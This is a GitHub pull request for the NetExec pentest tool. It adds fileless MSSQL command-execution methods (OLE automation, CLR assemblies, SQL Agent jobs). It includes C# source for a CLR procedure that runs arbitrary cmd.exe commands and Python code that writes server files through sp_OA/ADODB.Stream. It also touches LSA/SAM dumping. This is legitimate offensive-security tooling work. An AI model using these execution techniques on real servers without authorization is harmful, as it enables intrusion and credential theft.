Skip to content

Add oleexec, clrexec, jobexec and assembly execution fileless for MSSQL#1268

Open
Dfte wants to merge 11 commits into
Pennyw0rth:mainfrom
Dfte:add_mssql_ole_exec_method
Open

Add oleexec, clrexec, jobexec and assembly execution fileless for MSSQL#1268
Dfte wants to merge 11 commits into
Pennyw0rth:mainfrom
Dfte:add_mssql_ole_exec_method

Conversation

@Dfte

@Dfte Dfte commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

Description

This PR adds two new exec methods for the MSSQL protocol:

  • Oleexec that relies on the sp_oamethod shell procedure ;
  • clrexec that relies on the CLR component.

As such, I have added the --exec-method {mssqlexec, oleexec, crlexec} mechanism as well.

Concerning the CRL exec method, it relies on an assembly which is a binary file that is sent as hexadecimal to the SQL server and used to run the command. This file is located in NXC_DATA/mssql_clr and the corresponding C# code is the following:

using System;
using System.Data.SqlTypes;
using System.Diagnostics;
using Microsoft.SqlServer.Server;

public class StoredProcedures
{
    [SqlProcedure]
    public static void ExecuteCommand(SqlString command)
    {
        var process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c " + command.Value;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.CreateNoWindow = true;
        process.Start();

        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();

        SqlContext.Pipe.Send(output);
    }
}

If using the --exec-method crlexec, it is possible to use a custom assembly specifying the --clr-assembly PATH_TO_ASSEMBLY. In that case the -x "COMMAND" is not used at all and the CLR assembly is executed.

Note that this PR is work in progress. Indeed, there are few issues:

  • The first one relies with the crlexec method which requries the following hack
image

I know it sucks but for the moment, and considering how -x and -X are designed, it's not really possible to do much better.

  • Each exec-method uses the same is_option_enabled, backup_and_enable, backup_and_disable functions which should be factorized in a single file (nxc/modules/mssql/procudes.py I'd says) so that each exec-method can use them.
  • The MSSQLexec.py file contains functions used to get_file and put_file. We can extract these from mssqlexec to mssql.py the moment we have handled the factorize of the three previously mentionned functions.

Type of change

Insert an "x" inside the brackets for relevant items (do not delete options)

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Deprecation of feature or functionality
  • This change requires a documentation update
  • This requires a third party update (such as Impacket, Dploot, lsassy, etc)
  • This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)

Setup guide for the review

Nothing to setup, it works on default MSSQL server.

Screenshots (if appropriate):

  • olexec:
image
  • clrexec (with embedded assembly):
image
  • clrexec (with custom assembly):
using System;
using System.Data.SqlTypes;
using System.Diagnostics;
using Microsoft.SqlServer.Server;

public class StoredProcedures
{
    [SqlProcedure]
    public static void ExecuteCommand(SqlString command)
    {
        var process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c net localgroup";      
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.CreateNoWindow = true;
        process.Start();

        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();

        SqlContext.Pipe.Send(output);
    }
}
image

Notice that -x doesn't have any COMMAND, that's because I had to modify proto_args.

Checklist:

Insert an "x" inside the brackets for completed and relevant items (do not delete options)

  • I have ran Ruff against my changes (poetry: poetry run ruff check ., use --fix to automatically fix what it can)
  • I have added or updated the tests/e2e_commands.txt file if necessary (new modules or features are required to be added to the e2e tests)
  • If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
  • I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
  • I have performed a self-review of my own code (not an AI review)
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

IMPORTANT

I honestly believe we can simplify the way we execute commands. Knowing that most -X command exec rely on cmd /c powershell COMMAND, is absurd to me. Question is whether we are keen modifying that part (which is a huge change) or hack protocols so that we can use more advanced protocol capabilities like the CRL on MSSQL for example. Let me know what you guys think :)

@Dfte

Dfte commented Jun 4, 2026

Copy link
Copy Markdown
Contributor Author

The latests commits changes a few things. First it centralizes 4 functions used accross all exec methods that are used to check whether a procedure is enabled, disabled/enable it, restore it's original value:

  • is_option_enable
  • backup_and_enable
  • backup_and_disable
  • restore

All configuration options are stored in the following object at mssql.ini:

self.backuped_options = {}

Looking at the the execute function, I changed the arguments given to the exec methods to:

image

Doing so we can keep important and redundant functions in mssql.py and share them to exec methods. Doing so, I unloaded the exec methods from these functions and moved the get_file/put_file functions from mssqlexec.py to mssql.py itself:

  • get_file:
@requires_admin
    def get_file(self):
        remote_path = self.args.get_file[0]
        download_path = self.args.get_file[1]
        self.logger.display(f'Copying "{remote_path}" to "{download_path}"')

        try:
            query = f"SELECT * FROM OPENROWSET(BULK N'{remote_path}', SINGLE_BLOB) rs"
            self.logger.debug(f"Executing query: {query}")
            self.conn.sql_query(query)
            data = self.conn.rows
            self.logger.debug(f"Get file returned: {data}")
            with open(download_path, "wb+") as f:
                f.write(binascii.unhexlify(data[0]["BulkColumn"]))
            self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
        except Exception as e:
            self.logger.fail(f'Error reading file "{remote_path}": {e}')
            if os.path.getsize(download_path) == 0:
                os.remove(download_path)
  • put_file:
@requires_admin
    def put_file(self):
        download_path = self.args.put_file[0]
        remote_path = self.args.put_file[1]
        self.logger.display(f"Copy {download_path} to {remote_path}")
        with open(download_path, "rb") as f:
            data = f.read()
            self.logger.display(f"Size is {len(data)} bytes")
            try:
                self.backup_and_enable("advanced options")
                self.backup_and_enable("Ole Automation Procedures")
                hexdata = data.hex()
                self.logger.debug(f"Hex data to write to file: {hexdata}")
                query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote_path}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
                self.logger.debug(f"Executing query: {query}")
                self.conn.sql_query(query)
                self.restore("Ole Automation Procedures")
                self.restore("advanced options")
            except Exception as e:
                self.logger.debug(f"Error uploading via mssqlexec: {e}")

There are still a few things to modify because for the moment we rely on the @required_admin to execute commands. That's not true with mssql as it under certain circumstances, it is possible to execute specific procedures without being sysadmin. I'll have to look at these and how we can hack nxc. Probably I'll write a couple of checks in the is_admin function. Will see later :)!

@Dfte

Dfte commented Jun 4, 2026

Copy link
Copy Markdown
Contributor Author

Last commit patches the --lsa and --sam functions so that they work as intended with the modifications I applied. Both functions look like:

@requires_admin
    def put_file(self, download_path=None, remote_path=None):
        if remote_path is None and download_path is None:
            download_path = self.args.put_file[0]
            remote_path = self.args.put_file[1]

Which allows calling the function as a method filling remote and local path. Or via the command line from self.args.

@Dfte Dfte mentioned this pull request Jun 5, 2026
14 tasks
@Dfte

Dfte commented Jun 5, 2026

Copy link
Copy Markdown
Contributor Author

Latests PR adds the jobexec execution method allowing running jobs via the SQL Server agent if it is running:

image

Not entirely finished but :D

@Dfte Dfte changed the title [WIP] Add oleexec and crlexec exec methods allowing running custom assemblies. [WIP] Add oleexec, clrexec, jobexec and assembly execution fileless Jun 5, 2026
@Dfte
Dfte marked this pull request as draft June 8, 2026 09:29
@Dfte
Dfte marked this pull request as ready for review June 8, 2026 10:55
@Dfte Dfte mentioned this pull request Jul 7, 2026
14 tasks
@Dfte

Dfte commented Jul 9, 2026

Copy link
Copy Markdown
Contributor Author

Last commit fixes a stacktrace displayed in --exec-method jobexec if the sql server agent is not running.
It also adds a --sql-agent option that will check whether the SQL agent server is running and with which service account:

image

@Dfte Dfte changed the title [WIP] Add oleexec, clrexec, jobexec and assembly execution fileless Add oleexec, clrexec, jobexec and assembly execution fileless for MSSQL Jul 16, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant